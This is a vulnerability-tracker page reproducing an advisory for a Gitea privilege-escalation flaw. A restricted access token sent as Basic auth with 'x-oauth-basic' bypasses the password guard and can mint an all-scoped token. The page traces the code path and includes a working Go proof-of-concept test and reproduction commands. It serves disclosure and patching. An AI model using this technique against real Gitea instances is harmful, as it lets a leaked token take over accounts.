Kestrel
대시보드로 돌아가기
CVE-2026-56654HIGHGHSA대응게시일: 2026. 07. 21.수정일: 2026. 07. 21.

Gitea: Privilege Escalation via Access Token Scope Escalation in API

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Gitea's API endpoint for creating Personal Access Tokens (POST /users/{username}/tokens) is protected by a middleware (reqBasicOrRevProxyAuth) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the Authorization: Basic <token>:x-oauth-basic format, the Basic auth handler validates it and sets AuthedMethod="basic", causing IsBasicAuth=true and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling — it will create a new token with any requested scope regardless of the caller's scope. An attacker with a restricted token (e.g. write:user from a leaked CI secret) can therefore create a fully-privileged all-scoped token without knowing the account password.

Data flow

Step 1 - Token extracted from Basic auth header

When the attacker sends Authorization: Basic base64(<token>:x-oauth-basic), parseAuthBasic detects that the password is "x-oauth-basic" and treats the username field as the token:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64

VerifyAuthToken then validates the token against the database and sets LoginMethod = "access_token" and ApiTokenScope to the token's actual scope (write:user):

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106

Step 2 - AuthedMethod is set to "basic", not "access_token"

Basic.Verify() returns the user successfully, so group.Verify() sets AuthedMethod to the method's name — "basic" — regardless of whether a password or token was used:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65

Step 3 - IsBasicAuth is incorrectly set to true

AuthShared computes IsBasicAuth by comparing AuthedMethod against the constant "basic". Since step 2 set that field to "basic" for a token-authenticated request, the flag is wrong:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27

Step 4 - The guard is bypassed

reqBasicOrRevProxyAuth checks only ctx.IsBasicAuth. Because that flag is true, the middleware passes and the request reaches CreateAccessToken:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401

Step 5 - No scope ceiling in the handler

CreateAccessToken normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of ApiTokenScope (write:user):

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128

Reproducing

tests/integration/api_token_scope_escalation_test.go

text
1package integration
2
3import (
4 "net/http"
5 "testing"
6
7 auth_model "gitea.dev/models/auth"
8 "gitea.dev/models/unittest"
9 user_model "gitea.dev/models/user"
10 api "gitea.dev/modules/structs"
11 "gitea.dev/tests"
12
13 "github.com/stretchr/testify/assert"
14 "github.com/stretchr/testify/require"
15)
16
17// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two
18// interconnected vulnerabilities that together allow full scope escalation:
19//
20// 1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in
21// the Authorization: Basic "<token>:x-oauth-basic" format. The Basic auth
22// handler sets AuthedMethod="basic" (the method name), so IsBasicAuth=true
23// even though the credential is a token, not a password.
24//
25// 2. CreateAccessToken performs no scope-ceiling check — it never verifies that
26// the requested scopes are a subset of the caller's token scopes.
27//
28// Combined effect: an attacker with a write:user-scoped token can create a new
29// token with the "all" scope, gaining full access to the account.
30func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {
31 defer tests.PrepareTestEnv(t)()
32
33 // Non-admin user — escalation is meaningful and not trivially justified.
34 user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})
35
36 // Step 1 — Obtain a legitimately restricted token via password-based Basic auth.
37 // Only write:user scope is granted; repository, admin, etc. are excluded.
38 restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user,
39 []auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})
40 defer deleteAPIAccessToken(t, restrictedToken, user)
41
42 // Confirm the restricted token is blocked from repository-scoped endpoints.
43 // This establishes the baseline: write:user does not imply read:repository.
44 req := NewRequest(t, "GET", "/api/v1/repos/search").
45 AddTokenAuth(restrictedToken.Token)
46 MakeRequest(t, req, http.StatusForbidden)
47
48 // Step 2 — Exploit: supply the restricted token as Basic auth credentials.
49 // Authorization: Basic base64("<token>:x-oauth-basic")
50 //
51 // Basic.Verify() validates the token and returns the user. group.Verify() then
52 // sets AuthedMethod="basic" (the method name). auth.go maps that to
53 // IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no
54 // password was provided. CreateAccessToken then creates the token with the
55 // requested "all" scope without checking whether it exceeds the caller's scope.
56 payload := map[string]any{
57 "name": "poc-escalated",
58 "scopes": []string{"all"},
59 }
60 req = NewRequestWithJSON(t, "POST", "/api/v1/users/"+user.LoginName+"/tokens", payload)
61 req.SetBasicAuth(restrictedToken.Token, "x-oauth-basic")
62
63 // This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)
64 // but is currently 201, confirming the vulnerability.
65 resp := MakeRequest(t, req, http.StatusCreated)
66
67 escalatedToken := DecodeJSON(t, resp, &api.AccessToken{})
68 require.NotNil(t, escalatedToken)
69 defer deleteAPIAccessToken(t, *escalatedToken, user)
70
71 // Step 3 — The escalated token carries the "all" scope.
72 assert.Contains(t, escalatedToken.Scopes, "all",
73 "escalated token scope must be 'all'; original token only had write:user")
74
75 // Step 4 — The escalated token can now reach endpoints blocked to the original
76 // token, confirming real privilege gain beyond write:user.
77 req = NewRequest(t, "GET", "/api/v1/repos/search").
78 AddTokenAuth(escalatedToken.Token)
79 MakeRequest(t, req, http.StatusOK)
80}
bash
1git clone https://github.com/go-gitea/gitea
2cd gitea
3git checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e
4
5# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.
6
7go test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/

A passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.